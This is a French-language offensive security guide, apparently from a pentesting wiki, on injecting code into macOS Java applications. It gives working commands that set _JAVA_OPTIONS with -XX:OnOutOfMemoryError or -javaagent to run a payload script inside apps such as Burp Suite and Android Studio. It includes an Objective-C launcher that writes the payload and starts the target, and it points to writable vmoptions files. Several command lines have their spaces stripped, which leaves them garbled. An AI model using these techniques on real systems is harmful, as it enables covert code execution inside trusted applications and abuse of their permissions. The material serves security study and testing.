Trouvez les applications Java installées sur votre système. Il a été remarqué que les applications Java dans le fichier Info.plist contiendront certains paramètres Java qui contiennent la chaîne java., vous pouvez donc rechercher cela :
# Search only in /Applications foldersudofind/Applications-name'Info.plist'-execgrep-l"java\."{} \; 2>/dev/null# Full searchsudofind/-name'Info.plist'-execgrep-l"java\."{} \; 2>/dev/null
_JAVA_OPTIONS
La variable d'environnement _JAVA_OPTIONS peut être utilisée pour injecter des paramètres java arbitraires dans l'exécution d'une application compilée en java :
# Write your payload in a script called /tmp/payload.shexport _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"'"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
Pour l'exécuter en tant que nouveau processus et non en tant qu'enfant du terminal actuel, vous pouvez utiliser :
#import <Foundation/Foundation.h>
// clang -fobjc-arc -framework Foundation invoker.m -o invoker
int main(int argc, const char * argv[]) {
@autoreleasepool {
// Specify the file path and content
NSString *filePath = @"/tmp/payload.sh";
NSString *content = @"#!/bin/bash\n/Applications/iTerm.app/Contents/MacOS/iTerm2";
NSError *error = nil;
// Write content to the file
BOOL success = [content writeToFile:filePath
atomically:YES
encoding:NSUTF8StringEncoding
error:&error];
if (!success) {
NSLog(@"Error writing file at %@\n%@", filePath, [error localizedDescription]);
return 1;
}
NSLog(@"File written successfully to %@", filePath);
// Create a new task
NSTask *task = [[NSTask alloc] init];
/// Set the task's launch path to use the 'open' command
[task setLaunchPath:@"/usr/bin/open"];
// Arguments for the 'open' command, specifying the path to Android Studio
[task setArguments:@[@"/Applications/Android Studio.app"]];
// Define custom environment variables
NSDictionary *customEnvironment = @{
@"_JAVA_OPTIONS": @"-Xms2m -Xmx5m -XX:OnOutOfMemoryError=/tmp/payload.sh"
};
// Get the current environment and merge it with custom variables
NSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary:[[NSProcessInfo processInfo] environment]];
[environment addEntriesFromDictionary:customEnvironment];
// Set the task's environment
[task setEnvironment:environment];
// Launch the task
[task launch];
}
return 0;
}
Cependant, cela déclenchera une erreur sur l'application exécutée, une autre manière plus discrète est de créer un agent Java et d'utiliser :
export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"# Oropen--env"_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'"-a"Burp Suite Professional"
Créer l'agent avec une version Java différente de l'application peut provoquer un crash de l'exécution à la fois de l'agent et de l'application
Et ensuite exportez la variable d'environnement et exécutez l'application Java comme suit :
export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar'"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"# Oropen--env"_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'"-a"Burp Suite Professional"
Fichier vmoptions
Ce fichier prend en charge la spécification des paramètres Java lors de l'exécution de Java. Vous pourriez utiliser certains des astuces précédentes pour modifier les paramètres Java et faire exécuter des commandes arbitraires au processus.
De plus, ce fichier peut également inclure d'autres fichiers avec le répertoire include, vous pourriez donc également modifier un fichier inclus.
De plus, certaines applications Java chargeront plus d'un fichier vmoptions.
Certaines applications comme Android Studio indiquent dans leur sortie où elles cherchent ces fichiers, par exemple :
Si ce n'est pas le cas, vous pouvez facilement le vérifier avec :
# Monitorsudoesloggerlookup|grepvmoption# Give FDA to the Terminal# Launch the Java app/Applications/Android\Studio.app/Contents/MacOS/studio
Notez combien il est intéressant que dans cet exemple, Android Studio tente de charger le fichier /Applications/Android Studio.app.vmoptions, un endroit où tout utilisateur du groupe admin a un accès en écriture.